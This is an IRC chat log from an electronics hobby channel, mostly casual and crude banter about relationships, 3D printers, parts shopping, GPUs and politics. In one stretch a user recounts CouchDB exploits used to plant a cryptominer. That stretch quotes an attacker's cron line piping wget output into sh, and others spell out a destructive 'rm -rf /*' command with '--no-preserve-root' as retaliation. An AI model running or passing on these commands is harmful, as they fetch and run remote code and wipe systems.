Greg-JYour average threesome is awful for either the girlfriend or the 3rd girl, most of the time.
tgeekyViper-7: so when I want to buy shit on aliexpress, I can give you the link, you can post it, I can click and order, and you get some of the money?\
Viper-7tgeeky: yup
tgeekyViper-7: cool you should you know, set that up somewhat so i can do that and give you some free stuff
tawrthat's different, but yeah Greg-J what i was talking about
Greg-JGuys are shit at considering a woman's needs until their late 20s into early 30s.
Evil-CorpFree money is overated..if you are talking pesos...
Viper-7tgeeky: i cant automate it atm, just applied for API access tho
tawrunless you have a rock solid relationship with 1, a random 3some is going to suck
Viper-7lets see if THAT takes 2 years...
tgeekyGreg-J: ya really gotta be doing the MMF threesomes then I guess
tawrmmf? tgeeky wants MMM
Greg-JNever done MMF, only MFF.
tgeekyMMM would be fine with me.
tawrbecause that's what he says when he thinks about it. MMMMMMM. ain't that right o'tcheeky
Greg-JI've had 8 of them, I guess, if I'm forced to count.
tgeekyno MMH, though, I'm not catherine the great
tawrthen Viper-7 realizes the performance anxiety involved in that
Greg-JThey're not like work. They're great. In fact, we have a waterfall hiking trip tomorrow with a girl we have fun with.
Viper-7tawr: if theres 10 women involved, they're paid, so i aint doing shit, they can do the work :P
tawryou get a job at the gas station and now you think you're hot shit
Greg-JWe'll hike the waterfall, I'll take some drone photography (read: I'll fly around and pretend I know what I'm doing), we'll eat lunch, and probably fuck around for an hour or two.
tawrmoney has changed you, Viper-7
Greg-JThreesomes are awesome now, but the first two were awful.
Greg-J"Oh my god, I can't believe this is happening"
tawrGreg-J: like i said, it's different when it's a couple+addition, than just random girls
Greg-JInside thought: "my friends are going to think I'm so cool"/.
Greg-JTrue tawr
tgeekyas long as you don't get mandingoed
tgeekyassuming your SO is into that\
Greg-JIf I had a giant 12" penis it would be different.
Greg-JI actually have to work at this shit though ;)
Greg-JUgh, I forget. Is this a family friendly channel?
tgeekyGreg-J: is that an incest question?
tawrit's nearly 1am on a friday.
tgeekyim gonna go to sleep fellas, good night
Greg-JJesus dude, I nearly spit out my drink.
Greg-JNighty night, princess.
Viper-7its 5:40 PM, you crazy people
tawr$quote add <Greg-J> Ugh, I forget. Is this a family friendly channel? | <tgeeky> Greg-J: is that an incest question?
tawrthat's worth saving
Greg-JWhat was the site that saved ridiculous irc chats?
Johnjaythat sounds like something someone on 4chan would answer
Greg-JFuck me, I love me some
Greg-JThat one about the guy who lost a machine in his apartment was gold.
Greg-JI mean, hunter2 and the 'stapled my dick to the wall' will always be funny, but that one was relatable.
Greg-JI have definitely lost a physical IP in my house before.
Greg-JProbably the most famous.
Viper-7re losing a machine, was better :P
Halfdeadbah, tearing up the place looking for a usb drive that's plugged into my scope the whole time
Greg-JLove it
Greg-JThis latest amazon thing is pretty funny.
Greg-JSome of the device names popping up on my network in the past few weeks has made me pause.
Greg-JJust the most random shit
Greg-JAlso, any irc client for androind that's worth a shit?
Viper-7i use yaaic
Viper-7nothing epic, but not hideous either
jfcaronHow would you IRC on a phone anyways, with such a tiny screen and shitty virtual keyboard?
Greg-JJesus man, I'm 37 not 137. The keyboard on my note 5 is just fine.
jfcaron= ( I'm 33 and I can barely use the web browser on my phone.
jfcaronI try to zoom and everything goes flying or it thinks I clicked a link.
kmcI'm IRCing from my phone right now
kmcI use JuiceSSH
kmcit's not perfect
kmcbut works pretty well
kmcmy actual client is irssi running on a server
Johnjayyou can irc from a phone?
Viper-7my phone does support voice typing at least
Viper-7that's what I'm doing right now it works alright
Johnjaymy phone is dying:
electrobotJohnjay just linked to Your Phone Is Dying - YouTube
Viper-7piss f*** c*** c********** mother f***** tits fart turd and twat
zap0vaping with give you tourrettes
Viper-7how do you have a speech impediment while typing?
zap0my brain and fingers rarely communicate consciencely
zap0my brain sends a message, UDP style to fingers, and after that turns off again
Kamilionheh, know that feeling all too well.
kmcI'm turning thirty this month
tawrmight as well put you to pasture kmc
jaggztkmc, make it a point to drink more water this month then.
EvanRwhat do you make of this
EvanRi placed two copper plates in a bucket of water and attacked multimeter to the plates. resistance measurement: 0 ohms
EvanRthen i attached a DC power supply to the plates and it showed zero amps until i got to about 3 volts
EvanRafter that V=IR gave about 200 ohms as the resistance
EvanRwithin the usual range of my multimeter
EvanRwhat gives
EvanRif the water is magically activated after 3V, how is the resistance measurement bottoming out like its a wire
EvanRalso just sitting there the water has a voltage of like 0.34 V... why
SopaXorzTakerwhy isn't the sound subcarrier a part of the CVBS "composite" signal?
SopaXorzTaker(like the color one)
SopaXorzTakerit'd be much more logical and there'd be only one cable required
SmokinGruntsI put the vm back after 'cleaning up,' hoping he'd come back
SmokinGruntshe did
electrobotViper-7 just linked to (Universal PCB Fixtures Holder Mobile Phone Repairing Soldering Iron Rework Tool-in Electric Soldering Irons from Tools on | Alibaba Group)
SmokinGruntsand he didn't have time to remove his tools
Viper-7lol electrobot
Viper-7but yay it works
CircadianRebeluh oh, Viper-7 has started with the affiliate links. we're all doomed
Viper-7heh.. usb soldering iron holder?
zap0soldernig iron holder..
Viper-7ahh, thats what i was looking for
Viper-7not the cheapest, but eh
zap0does the USB one have a ring light?
kmcI missed a conversation about threesomes??!?
zap0ACTION paints a face on left and rigth hand.. mmm.. 3-some
kmcGreg-J: congrats on staying together that long :) that's really cool
kmcmy wife and I have been together 6-8 years depending on how you count
kmckind of a fwb situation that got more serious :)
kmcnot sure I've ever had a bad threesome
kmcit's usually a fantastic time
kmcwe were also in a three way relationship for a few years
Greg-Jkmc, I get that a lot, and I feel obligated to say "thank you" but it really comes down to "do you guys get a long? yeah? okay, cool".
kmcwe grew into each other gradually
Greg-JTrue that.
Greg-JI'm not even close to the kid I was when we got together.
Greg-JI just got lucky that she happens to like the me I grew into ;)
kmcI'm really lucky that in addition to being compatible as friends and lovers, she can actually stand to be my roommate (not many people would)
zap0wtf is hailing
Greg-JTo the choir, my friend.
zap0it is/
Greg-JI have some of the most insane hobbies, both in expense and time, and my wife doesn't bat an eye.
Greg-JBut to be fair, she likes some insane shit and I just accept it for what it is.
acetolineI thought it would be easy to re-wind a motor
acetolineit all morning to do
acetolineit took all morning to do*
Greg-JShe never fails to remind me she's a keeper. We were sitting outside a few weeks ago and I was complaining about how my i3 wouldn't hold PET-G temps.
Greg-JAnd I'm waxing fanatic about the CR-10.
Greg-JShe goes "you should get a CR-10 while they're on sale".
Greg-JThen I get a Tevo Tornado a week later.
Greg-JAnd when they show up, all she wants to do is learn about how they work.
acetolinewhat's the problem? The nozzle, or just not being able to deliver enough current?
acetolineI have a tarantula (i3 clone) and it can do PET-G temps just fine
acetolinejust need an all-metal hotend
Greg-JOn my i3? I don't know. If I set it to 230, I hit 220. If I set it to 240, I hit 230. I have done PID tunes to death.
Greg-JI have the Micro Swiss hotend for it.
acetolinewhich is literally just a matter of changing the little piece of metal that joins the heatsink block to the heater block
acetolineyou can get it for like $2 off ebay/ali
Greg-JThe only thing I can think of is that I have a Cii/Dii cooler and anything over 30% screws with my temps hard.
Greg-JAt this point, I just set my hotend for 10 hotter than I need.
acetolinewhat about your power supply?
Greg-JStock PS, 12v.
acetolinehow many amps is it rated for
Greg-JI have thought about replacing it with an extra 12v ATX I have.
acetolinemine can do 21 A
Greg-JJust haven't done it yet.
Greg-JNo idea on draw.
acetolineand that's not overkill at all. I really do need the full power sometimes.
acetolineEspecially when doing e.g. ABS on a 90 C heated bed
Greg-JIt is batshit crazy to me that we're having this conversation.
acetolinehow come
Greg-JMy grandfather was Joe McKenzie. He founded Flextronix in his garage in 1980. I grew up hearing the war stories from my mom.
Greg-JThe shit that is our every day lives now, there's no way they would have imagined it.
acetolineoh yeah, absolutely :)
Greg-JI watched some video the other day of the minti-pi guy putting a Pi Zero into a VMU of a sega dreamcast.
Greg-JThat shit would have been science fiction a couple years ago.
acetolinethe Pi is faster than the computers that Pixar used for its workstation/render computers in the early 1990's
acetolinethe SGI ones
Greg-JI'm a relatively well respected individual in my field. I promised I wouldn't get into the PCB arena as I grew up.
Greg-JYet here I am, 30 some odd years later.
Greg-JFuck me...
HalfdeadI should be fine feeding a 3 phase VFD as long as I have(add) enough bus capacitance, right? It looks like I can disable phase protection.
Greg-JDude, I can still remember the Athlon XP 1400+ w/ 512GB or RAM in 2001.
Halfdeadwith single phase*
Greg-JRadeon 9700 Pro.
acetolineVFD = Vacuum Fluorescent Display, or Variable Frequency Drive?
Greg-JThat was the shit.
acetoline512MB, you mean :)
Greg-JLol, yeah.
Greg-JI legit still have that thing
Greg-JI was using it to explain AGP vs. PCI to my son.
Greg-JDo you remember AGP>
acetolineHalfdead: what do you mean by feeding
acetolineMy first computer was AGP
acetolineas in, the first one that i owned personally
acetolineand wasn't my parent's
acetolineAGP was all they talked about in those days
acetolineViper-7: I like that it's integrated.
acetolinebut still, would be quite hard to do BGA with it properly
Viper-7interesting tho
Greg-JI legit remember the voodoo cover from back in the 2000s
Greg-J"This is not CGI" or some shit like that
acetolinetoo bad you really can't get good GPUs anymore, not for a decent price anyway.
HalfdeadIt's specified 3 phase input 240, but I think since the vfd rating is twice that of the load I should be able to get away with it if I add a bit more bus capacitance.
acetolinethe cryptocurrency people have entirely ruined that market.
Viper-7"preheating" part claims to go to 400C
Greg-JKids now days think they know, but that don't know. HL2 was unreal.
Greg-JThere was nothing like it. Not even close.
jsoftACTION tries uber eats
jsoftGot me some maccas coming my way :D
Greg-JFuck the crypto guys
Viper-7acetoline: yeah re GPUs, 2 weeks after i got my new video card, it doubled in price
jsoftFuck yeah, super healthy burgers ftw
acetolineman, when is cryptocurrency going to die
Viper-7bitcoin may, but blockchain is the new IoT
acetolinewhich was the new web 2.0
Halfdeaddidn't bitcoin implode a bit already
Greg-JRemember when IRC was reserved for NZB>
acetolineit went down. But it will go up again. Then down again.
Viper-7acetoline: re integrated, lol
Greg-Jpepperidge farm remembers
acetolineso what kind of stuff are you doing (or planning on doing) with your printer
Viper-7hot air + iron + bench psu + voltmeter + usb charger
acetolineaha nice
acetolineI love it
Viper-7(im shopping for hot air atm)
acetolineI got one of those cheapo $25 hot air guns from ebay
acetolinethen I modded it
acetolineto actually make it a proper hot air gun
acetolineReplaced the heater and fan control circuitry. Then added a PID loop.
acetolineThey use awful TRIACs which are not suitable for the load and aren't even heatsinked
acetolineafter the mods it's been working pretty well though
acetolineI'm using hot air soldering less these days though.
acetolineEven though you can get good results, it's just too much hassle.
Viper-7what in the fk
jsoftIs it possible to have a diode conduct both ways, with no voltage drop ?
archivistthat is not a diode then
jsoftI want a diode which does that though
acetolinesure, just put 100 A through it, then it will become a small-value resistor :)
archivistjsoft, think again what you want
jsoftAny suggested part #'s ?
jsoftI want a diode with no voltage drop, and which also conducts both ways.
Viper-7jsoft: its called a wire.
jsoftACTION grins
archivistit is a plain short that you are asking for
Viper-7someone stop me
jsoftWhent he fuck is my food arriving
acetolineA diode that conducts both ways might be called a Bidiode
jsoftHurry up uber you sloths
acetolineoh man that is such a great word
acetolineI should trademark it
Viper-7$45, free DHL, ...
Viper-7jsoft: given that i started cooking dinner just before you mentioned them, and its still not done yet, despite being "quick cook" chicken ... :P
archivistacetoline, it is actually a diac
acetolineit's not the same idea though
acetolinea diac goes through breakdown
archivistI know
acetolinewhereas a Bidiode (TM) conducts both ways during normal non-breakdown operation
Evil-CorpWaiting for zero ohm resistor guy to show up and offer his thoughts....
jsoftFuck me uber eats is shit
jsoftHow fucking hard do they want to make it to earn money?
SlashLifeViper-7: omg :S
SlashLifeSomeone stop me as well!
Viper-7SlashLife: haha
Viper-7damn, i should've linked :P
jsoftHoly shit burgers what a mission.
jsoftFucking uber eats man.
Viper-7jsoft: dunno, but my chicken is tasty :D
jsoftFuck off Viper-7, your chicken sucks
SlashLifeStill pondering what to get to eat. :S
Viper-7creamy garlic crumbed chicken breast with pommes noisettes
SlashLifeHead feels like it's about to explode.
SlashLifeViper-7: Sounds tasty ... but I don't think I could enjoy that. I can barely taste anything.
Viper-7pizza then. :P
jsoftViper-7, creamy shit coated with moldy feces seasoned with ass cake.
SlashLifeYeah, pondering that ... or cans of soup
Viper-7jsoft: but high quality ass cake.
jsoftOh well I stand corrected
SlashLifeDid someone say "cake"?
SlashLifeMy employer is well known for its delicious and moist cake!
SlashLife /whois SlashLife :P
Viper-7this is a triumph!
SlashLifeIt is!
Viper-7are you making notes?
SlashLifeSomeone stole, though. >:(
Viper-7someone ban me from aliexpress
Viper-7im about to spend another US$100
archivistjunk addict
Viper-7that hot air station, one of those octopus locline helping hands things, a pair of STM32F4 boards, a bunch of fuses and inline holders, solder paste, vape dripper bottles, ...
Viper-7oh and a peristaltic pump
SmokinGruntsrofl, base64 encoded command: 'curl|sh'
Viper-7sounds safe
SmokinGruntsit's interesting seeing the steps needed to get bash permissions
SmokinGrunts4 steps or so
Viper-7echo "* * * * * wget -q -O - | sh" >> /tmp/cron
Viper-7nasty heh
SmokinGruntsthere's two attackers, too lol
SmokinGruntsotherone does:
SmokinGruntsthat's the beast, right there
Viper-7if you remove the downloader, i think it actually counts as anti-malware :P
Viper-7i love how it nukes its potential competition first
SmokinGruntsyeah right
Viper-7thats in the 'kill list'
Spirit532SmokinGrunts, if he's got a pipe to you
Spirit532you've got a pipe to him
Spirit532rm -rf /* that motherfucker
zap0what does that do?
Spirit532r(e)m(ove) -(recursive, force) /(root directory) *(everything)
Spirit532wipes your partition clean
Spirit532more or less
Spirit532for additional effect you can add ">> /dev/null" to pipe the command output into non-existent space
Spirit532so you'll be blissfully unaware that you're fucked
Hooloovo0oh, you have to add 2>&1 > /dev/null to even capture stderr
Viper-7or 2>/dev/null >/dev/null :P
Hooloovo0you might have to add --no-preserve-root
Viper-7Hooloovo0: thats the one you're not meant to mention, so the script kiddies try it and wonder why it didnt kill their 'targets' computer
Spirit5321, 2, 3
Spirit532stderr, stdout, and... stdin, because... idk, why not
Hooloovo0ooh sorry oh no skiddies
Spirit532and --no-preserve-root definitely
Viper-7well stdin is < not > :P
Viper-7but there can be pipes above 2 yes
Spirit532through 9 IIRC
Viper-7they just arent stdout, stderr or stdin
Hooloovo0pretty sure you can have above 9
Spirit532I've never seen them used past 9
Spirit532but named pipes were used instead
Viper-7at that point, lrn2mkfifo
Hooloovo0yeah that would be pushing some boundries
Spirit532but I don't can into much linux
Spirit532I'm more of a Windows guy myself
Spirit532as much as I dislike some Windows things
Viper-7oddly, 2>&1 is one of the few tweaks that works on both nix and win
MacGeekACTION may have slightly bricked his raspberry pi, whoops.
ketasbecause bill gates used nix first?
Viper-7how do you brick something that has no firmware and uses an sd card for boot ? :P
MacGeekViper-7: apparently, by running rpi-update and updating the kernel
MacGeekI guess maybe I should have done an apt-get dist-upgrade first
Viper-7you may have ruined the image on your sd card, but thats easy to replace :P
MacGeekyeah that's what I've done
MacGeekstill annoying.
Viper-7yeah, i managed to corrupt the sd card in an orange pi once by connecting it to a grossly insufficient power supply and leaving it stuck in a reboot loop for a few hours
Viper-7was propah fuckered, which sucked because i didnt have a backup of a bunch of the data on it
ketasfix the card
MacGeekthe sd hasn't been corrupted, anyway. I just guess that maybe the new kernel expected all the other software to be from the same branch and it choked when it wasn't
MacGeekI didn't even need to take out the sd to reimage the thing, I just booted it into noobs and reinstalled raspbian
SmokinGruntsnot a bad trick though
SmokinGruntsso javascript and erlang handle things differently
stvnYou know what you look like to me, with your good bag and your cheap shoes?
SmokinGruntsif you double a key/value pair, Javascript only takes the last one
SmokinGruntswhereas erlang will take both
SmokinGruntscouchdb uses both
SmokinGruntsI just reproduced the hack and arbitrarily put my from my git in /tmp
SmokinGruntsthat's a terribly big security hole!
SmokinGruntsoh hai
stvnwhat happened now
SmokinGruntsI caught some script-kiddies using two exploits; one adds an admin user in couchdb cuz of the javascript+erlang key-value issue, and the other makes use of couchdb's query_servers functionality to allow arbitrary RCE
SmokinGruntsthey used it to thrust a cryptominer on my rig
stvnthe dogs
stvnhow are you electronic
SmokinGruntsI'm actually a computer
SmokinGruntssometimes the guys and gals help me get the kinks out :o
electrobotViper-7 just linked to (10PCS/LOT IRLB3034 3034 TO220 Free shipping ! NEW-in Integrated Circuits from Electronic Components & Supplies on | Alibaba Group)
Viper-7Pulsed Drain Current: 1372
Viper-7<= 2mOhm at 4.5Vgs
Viper-7ACTION pokes electrobot
Viper-7dems chep wagos
Viper-7(im watching julian ilett -_-)
mra90Can I use choke as L (inductor) in RLC oscilator?
joe_zhmm, I had a bag labeled 'white LEDs'
joe_zit had one white LED in it...
joe_zand 22 amber
jozei got the rest
mra90linux_probe: so the answer is now?
linux_proberead all that perhaps?
linux_probeguess I shoould leave..
mra90linux_probe: yes and I am still not sure
SopaXorzTakerThis is sacrilege!
SopaXorzTakerHe parted out the 386, what an asshole
SopaXorzTakerI hope it burns down along ith his house
linux_probeyou had to see the amounts of them I trashed
Flea86SopaXorzTaker: I still regret throwing my DX40 mobo in the rubbish :(
Flea86Had the most fun with it in retrospect
SopaXorzTakerThe first step is removing all of the old components and carefully putting them together in a box, in case they can ever be salvaged (OK, I have a problem letting go...)
SopaXorzTakerwell, that's pretty humane
SopaXorzTakerI revoke all of the above :P
zap0apple will remove that too soon
Viper-7apple removed usb long ago :P
Viper-7those are micro usb :P
Mangy_Dogviper you know what... it took a while but my chair heated up :D
Mangy_Dogwhich is nice considdering its currently about 5c in my room
SpeedEvilelectric blanket ++
Mangy_Dogthats currently on my bed :p
weyland|yutanicentral heating?
Mangy_Dogi might get it though
Mangy_Dogcentral what?
Mangy_Dogyeah we have central heating the timer is broken though
Viper-7Mangy_Dog: hah nice
Mangy_Dogso have to manually put it on
Mangy_Dogwhich means when we wake up int eh mornign we can see are breath vapour
Mangy_Dogpart of the reason i get up so late
Viper-7i do that too, but it may have something to do with my vape :P
Mangy_Dogi dont want to leave the warm bed
weyland|yutanicant you just rig a manual timer to it?
Mangy_Dogyou mean put a new timer onto it?
Mangy_Dogtakes time and money
SpeedEvilIf you turn the heting blanket onto high an hour before you get up, you may get too hot.
Mangy_Dogtime i can afford
Mangy_Dogmoney not so much
SpeedEvilThen getting up and freezing is nice
Mangy_Doggood idea
Mangy_Dogcharge up the heat batteries
Mangy_Dogin the body
weyland|yutanimaybe a wood stove would be a good addition
Mangy_Dogonce in the kitchen
Mangy_Dogi have an ipoen fire in the living room
Viper-7on the other hand, dont turn the heating blanket up as much, and it wont be such a shock from the temperature difference when you get up :P
Mangy_Doggoing to convert it to a stove this year
SpeedEvilViper-7: that doesn't work.
SpeedEvil also
SpeedEvilDIY that, with some quick-connect fittings, two t-shirts, fabric glue, aquarium tubing, small pump
Viper-7SpeedEvil: my experiments as a kid jumping from the spa into the pool and back again beg to differ :P
Viper-7but yeah for the pump setup, my ice water cooled chair used to work awesomely well
Viper-7before i moved and got reverse cycle aircon
Skreei just use an enormous fan in summer
Skree18", metal blades
Viper-7do you have days of 47C in the shade? :P
Skreeno but it gets 30-32 in the office in summer
Skreeand i'm half irish half brit
Skreetwo ethnicities which do not do heat well.
Viper-7ooh, finally
Viper-7a 3S protection board with a sane pinout for use with RC packs
Viper-7still technically a pin short on the header, but i can remove that pin from the socket
Skreepeople use those with murata OKR series regulators to make vapes yknow
SmokinGruntssomeone should make flexible bismuth-telluride PN junctions so we can have true electrically cooled jackets
Viper-7hmm wait, thats for 4S
SmokinGruntsbean counters: get on it
Viper-7thats for 3S
Viper-7absolutely identical? :/
Viper-7Skree: one of my vapes has an internal 2S pack, no idea if its balanced, but it charges from USB :D
Skreeyeah there are a few that charge 3S 18650s
Skreeallegedly they balance but how well i can't say
Skreethat little battery meter we discussed some hours ago funnily enough is for a mod i'm trying to get working from 8xAA low self discharge cells
SkreeI figured i can possibly replace the 2n7000 with the big MOSFET i was going to use to switch main power (IRLB3034PBF)
Skreeridiculous overkill for the load a 3034 but i have a couple in my bits box
slothi need a fresh pair of eyes on this old board is that corosion bad enough to take it down? (both are behind chips)
Viper-7Skree: yeah will work fine
Skreesloth: i'm no expert but looks like it needs a clean to be ok
slothits a hdd and i'm wondering if thats what caused the fail
Skreeseen worse
Viper-7why the heck does the motherboard need a 24 pin ATX, 4 pin ATX, 6 pin PCI-E, and a 4 pin molex?
Viper-7but yeah the 6x external pci-e slots seems lol
SkreeThat's a real retail product, too
Skreewell even 1x pcie slots deliver some power, there's probably pcie bridges to power
Viper-71x to 4x 1x
Viper-772 GPU machine anyone? :P
Skreei think the most people do with dedicated mining OSen is about 28 gpus
Skree9 in windows.
Skreetend to run into problems like the biggest psus are only 2000w cont.
Viper-7so use moar psus :P
Skreelol, they do
n2Oh man, the solder bongos
electrobotn2 just linked to PACE Rework and Repair Lessons - "Introduction" - YouTube
n2Such funk
weyland|yutaniwhy is everyone all the time "OMG BITCOINMINER" and nobody "OMG MACHINELEARNING"
SopaXorzTakerweyland|yutani, context?
n2weyland|yutani: I’m more the latter
n2but that’s due to my job
n2but, people still think, somehow, that Bitcoin is a quick buck
n2Money for nothing
weyland|yutaniSopaXorzTaker, racks full of GPU = bitcoinminer
SopaXorzTakerweyland|yutani, more like ethereum
SopaXorzTakeralso, mining has just become unprofitable
weyland|yutanithats what you generally hear even in here
SopaXorzTakerso now those idiots are selling the (mostly overheated and glitchy) GPUs they have
weyland|yutanin2, and what is you job? datascientist?
n2weyland|yutani: "technologist"
SopaXorzTakerwhy is everyone all the time "OMG MACHINELEARNING" and nobody "OMG CRYPTOGRAPHY RESEARCH"
n2that means doing first order data science stuff, too
n2and knowing when to grab a hold of a real data scientist
n2plus other stuff, including hardware.
n2You could call me a jack of all trades.
SopaXorzTakerlike, we'd factor RSA-1024 already, probably
n2But, weyland|yutani, it involves conceptualizing machine learning applications
n2and doing the first order modelling ideas
weyland|yutanin2, i am currently looking into pynq boards for implementing NN using tensorflow on a FPGA board
n2And, at the same time, even though I have an 148 IQ and have studied it a lot
n2knowing that I’m not a specialist
n2and deferring to specialists often
n2Ah, Tensorflow.
n2I haven’t tried Pynq
n2We’ve mostly used GPU farms
Viper-7i really need to close my browser heh
n2like the nVidia DGX-1...
n2(the small one, though)
n2but weyland|yutani, a big fan of tensorflow.
n2I’m not the world’s biggest python fan, and that is the preferred language, but, yeah...
weyland|yutanime neither n2 but i think if you think robots in near future you have to find a way to implement NN in very tight spaces so probably its FPGA or a special version like a FPAA and given that the standart lang for dataengineering is python it will be something similiar
n2and, since we do a lot of deployed-on-devices machine learning...
n2that also includes the new Apple stuff
n2I’m doing a POC of a shoe fitting app… including the model formation.
n2It’s the lower end of machine learning, but it’s fun
n2Except the many pictures of feet that go into the model...
weyland|yutanin2, so you need some kinf of scale besides the feet?
weyland|yutanias a reference point?
n2but that’s just done with regular ol’ image processing techniques
n2i wrote an OpenCL kernel to find and transform that scale block
n2the ML part is recognizing the foot, basically
n2it’s a classification problem
n2binary classification, as it were
n2it’s either a foot or it isn’t, and what is the confidence of that
weyland|yutaniyea but use a RNN and bam it revers you to the next orthopedic specialist checking out your deformed feet :D
n2Haha :-D
n2That is why I have gathered an extensive foot catalog
n2that includes both naked AND socked feet
n2Probably the weirdest work task I’ve ever done
n2A shame I’m not a foot fetishist.
n2I’d have had the time of my life.
weyland|yutanin2, well you also could do the reverse use a varational autoencoder feed it with pics of feet and create your own
weyland|yutanimaybe use it with a GAN
paulo_is there a channel regarding RF?
paulo_like ham radios
paulo_nvm, found ##hamradio
aczid##rtlsdr is also pretty friendly
paulo_aczis: what is that about?
aczidthese cheap dvb-t dongles with an RTL chip, repurposed as SDR
aczidreally cheap way to get started in SDR. rx only with limited tuning range
aczidbut costs like 5$
paulo_like at what frequencies?
acziddepends on the tuning component
aczidabout 100 mhz - 1.8 ghz
paulo_okay. it's not really and SDR question though
paulo_but that project's pretty cool
aczidthey seem to know a bit about radio in general over there
aczidhadn't ventured into ##hamradio yet myself
paulo_anyway, I build something like this:
paulo_but with a repurposed wifi antenna
aczidwow cool. like a hillbilly cyberpunk dreamcatcher :D
paulo_mine looks a lot less crude since it's a wifi antenna
paulo_question is, why is the antenna shape like that? is there a reason?
paulo_or can it be any shape
aczidkinda like that aesthetic tho
EncryptHello o/
n2Oh this performed much better than I expected
aczidwell afaik antenna shape determines the directions/polarizations you can rx/tx. but it's all a bit over my head tbh :)
aczidI'm sure ##hamradio could help you
paulo_this one uses the same outdoor antenna, but uses a cable for the indoor antenna
n217.2 MHz ain’t too bad :-D
n2and, the gain is programmable with a couple of resistors. And the bias current with a single resistor :-P
paulo_what cool things can I do with an SDR?
ThePenduluminconvenient badminton
spludIs that a North Korean winter Olympic sport?
n2splud: parasitosis hockey?
n2malnourishment sledding?
n2unique sports of the DPRK
ThePendulumspeed skating
ThePendulumwith actual amphetamine speed
ThePendulumand skeleton
ThePendulumwith actual skeletons
p0g0Lacross with Pu pits?
splud<commentato> "I haven't seen a tapeworm that long since, well, I've never seen a tapeworm..."
ThePendulumto try and make it across the border
ThePendulumsynchronised swimming
ThePendulumto avoid death
n2They should just reenact The Running Man
n2Fantastically corny Ahnuld film from the '80s
spludSynchronized to AA artillery fire?
n2splud: oh thats beautiful
n2Ski shooting? Fuck that
n2Ski mortaring
ThePendulumThe Running Man with Kim Jung-il as Ben Richards
n2“Kill your rebellious relatives"
p0g0nah, kin AA shooting
spludI have started something bad.
p0g0why the sister is really there. as a target.
n2ThePendulum: the fat guy with the electricity
n2that’s what I imagine.
durrfcurling but its a contact sport
n2as Kim Jong Un
n2Death Curling
ThePendulumI keep messing up my kims
spludCurling, as in "curl up and die"
n2Hit your imperialist friends with the stone
p0g0with bouncing betties?
durrfboth sides go at the same time
n2Break their skull
durrfthose stones are heavy as fuck
n2ThePendulum: Il Sung, Jong Il, Jong Un
n2thats the succession of fatso Kims
p0g0curling with land mines sounds almost valid.
spludSucks to be on the team running along with the brushes...
p0g0skeet shooting with AA seems plausible too.
n2p0g0: they have to lug the AA mortar on their back, too...
n2it’s a real brute of a sport
ThePendulumI love that Putinm Trump and Obama are between google's list of NK leaders
spludVladmire Sputin.
n2The new chat service
ThePendulumwhat have you bee putin' up with lately
ThePendulumwhy do their brothers look so slousy
n2ThePendulum: being raised by psychopaths may contribute?
ThePendulumI guess being upper class but not royalty in NK is about equal to our bums
ThePendulumI didn't know he had a daufhter
n2He does.
n2I didn’t know he had a sister, actually
durrfwouldnt he have many?
ThePendulumah born in 2012
ThePendulumthought it was her in the picture and she was like 20 there lool
n2The one who is currently schmoozing in SK
n2However, ThePendulum
n2There is epic footage from the swiss private school Jong Un went to
n2of him failing at basketball
n2Also, check out the interview with Jong Nam’s son
durrfdid he ever play golf like his dad did?
n2basically calling it a psychopathic criminal regime
ThePendulumn2: you can't just mention it and not link it
n2durrf: I don’t believe so.
n2ThePendulum: I’ll dig it up
electrobotn2 just linked to KHS Video - YouTube
n2^^ Kim Jong Nam’s son
n2Right after his father’s murder
n2basically in a safe house
n2sponsored by the netherlands
ThePendulumSorry, the page you found can not be requested
durrfvideo works for me
durrfis the netherlands blocking you from viewing that?!
ThePendulumI was looking at an unrelated page alltogether for some reason
ThePendulumdurrf: I doubt it, we only ever block the pirate bay
ThePendulumand I'm in, eh, let me see
ThePendulumPortugal right now
durrfi didnt think they would do such a thing
ThePendulumit was an aliexpress 404
durrflool ggwp
ThePendulumoh shit Chinese new year starting tomorrow innit
ThePendulumwell technically the 16th but they're all going on holiday tomorrow
durrfwell im glad they get some time off the working conditions sound unfavorable to say the least
ThePendulumpretty much how it was here until not too long ago, I think they'll develop out of it
ThePendulumjust like Japan they're transititioning from knock-off producers to having a massive export of their own R&D products
SpeedEvilWorking regulations are in some aspects better than the US.
SpeedEvilIt's much harder to dismiss a long-term worker, pregnancy rights, ...
gurkipretty much everything is pretty much everywhere than in the us
ThePendulumthere's a LOT of room for improvement but it's arguably not like they've taken a step back by industrializing like that, the alternative historically is to starve in the countryside
gurkiapart from my english
gurkithat one still sucks
EncryptDocScrutinizer05, Hello o/
ThePendulumwell, environmental concerns aside
ThePendulumcan't we just tow china outside of the environment
ThePendulumwill it help?
gurkidefine we?
ThePendulumwell, us and them
gurkiwhat makes you think ppl dislike china?
ThePendulumthe media
gurkiwhich media?
gurkiwhich country?
ThePendulumours and theirs
gurkithere is no "ours"
ThePendulumI'm talking about the pretty undeniable fuckton of pollution China is both producing and next to indifferent about
gurkiso the same thing all the other countries died 50-100 years ago?
ThePendulumyes, before we imposed strict regulations :P
Kamilionsomeone just needs to sell china some american shopvacs.
gurkihow can you be so arrogant to force china not to have the same kind of developement everyone else did 50-100 years ago?
gurkithis attitude is short-sighted af
hiteksome areas of china are pretty bad looking if you look at some industrial areas on google maps
ThePendulumdafuq are you on about, it's not like they're literally 50 years behind in the technology
gurkiThePendulum: ever been to chinas rural areas?
gurkipartially, they still are.
KamilionExcept all the places where their citizens are living in huts, burning fuel oil
ThePendulumonly India, but I have seen them on google maps, yes :p
KamilionWhat really suprises me is they havn't cloned that gravitylight idea for rural africans.
ThePendulumgurki: so what are you even arguing? that they don't have the economic resources to care about environmental concerns?
gurkidid you actually ever read a history book?
gurkii honestly fail to understand how you can not see the parallels to the western world 50-100 years ago
ThePendulumI'm asking what your argument actually /is/. that China is technologically a century behind?
blighti wonder if the south korean president goes to north korea, maybe they replace him by a double and send back a spy :D
gurkiThePendulum: the state of a large part of the country?
blightuh china has the bomb how can that be a century behind?
gurkiit has to have "the bomb" or the us wouldve brought them "freedom" a long time ago
ThePendulumgurki: so they're excused disregarding that part of their country when growing their cities, but not when asked to try and be environmentally conscious?
EncryptI'm still having a look at the "pilot wire schematics" and everyone uses a 1N4004 rectifier diode
ThePendulumthey're not producing steam engines and pioneering the industrial revolution, they have the exact tech we have in the west
EncryptIt seems that the 1N4007 ones cost exactly the same price on the website I found
EncryptI'd better buy these, right?
EncryptI've understood that what differs is the "Peak repetitive reverse voltage"
blightshouldnt make a difference
blightbuy whichever you like
blightiirc 4004 is the minimum for 230V mains
